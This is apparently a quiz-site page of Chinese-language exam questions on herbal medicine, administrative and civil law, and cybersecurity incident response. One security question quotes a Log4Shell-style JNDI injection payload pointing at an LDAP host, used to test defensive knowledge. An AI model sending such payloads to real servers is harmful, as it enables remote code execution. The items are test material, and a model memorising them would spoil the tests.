阿摩線上測驗 登入

最新科目

最新試卷

最新試題

最新申論題

最新課程

最新主題筆記

最新討論

59.下列何種生藥適用於解痙攣及抗發炎? (A)Valerian (B)Feverfew (C)Chamomile (D)Forskolin

6 下列何者非屬行政法人法規定之行政法人績效評鑑內容? (A)人員進用之達成率 (B)年度執行成果之考核 (C)營運(業務)績效及目標達成率之評量 (D)自籌款比率達成率

16 成年人甲於半年前經醫生診斷為失智,某日清醒時,將一筆土地贈與於乙,並在公證人面前口述 表示要將該地送乙。該贈與契約之效力如何? (A)有效 (B)無效 (C)效力未定 (D)得撤銷

複選題8. 【題組 1】情境如附圖所示。身為平台的資安應變經理,為了徹底解決此次事件暴露 出的防護架構問題,並防止未來類似攻擊發生,平台應採取下列哪些防護強化措施? (複選) (A) 為所有開發人員的電腦安裝最新版的文書處理軟體 (B) 在開發流程中導入容器映像檔掃描與簽章機制,確保僅有受信任的映像檔能被部 署 (C) 實施更嚴格的網路出口流量過濾規則(Egress Filtering),阻擋加密貨幣挖礦等異 常的對外連線 (D) 建立零信任網路原則,嚴格限制 Kubernetes 叢集內部不同服務之間的存取權限 

9. 分析 WAF 攔截到的攻擊請求時,發現一段針對公司內部 Java Spring Boot 應用程式 的封包,內容包含:${jndi:ldap://192.168.10.5/Exploit} 已知該伺服器的 JDK 版本較 舊,未啟用 com.sun.jndi.ldap.object.trustURLCodebase=false。在無法立即升級應用程 式碼的情 況下, 下列 何項技術 對直接阻斷此類遠端程式碼執行(Remote Code Execution, RCE)攻擊最為適切? (A) 在防火牆封鎖所有連往 192.168.10.5 的 TCP 80 流量 (B) 將伺服器的 HTTPS 憑證更換為強加密演算法(如 RSA 4096) (C) 在 WAF 上啟用針對 jndi 關鍵字的輸入驗證規則 (D) 停用 Web 伺服器的 HTTP TRACE 方法

10. 資安團隊收到一則關於「特定駭客組織利用零時差漏洞攻擊 VPN 設備」的威脅情資。 在尚未釋出官方修補程式(Patch)前,下列何項緩解措施最具防護實效? (A) 實施虛擬修補(Virtual Patching),在 WAF 或 IPS 阻擋特定攻擊特徵 (B) 忽略此情資,等待官方釋出正式修補程式後再處理 (C) 要求全體員工重新申請 VPN 帳號 (D) 立即公開招標並更換不同廠牌的 VPN 設備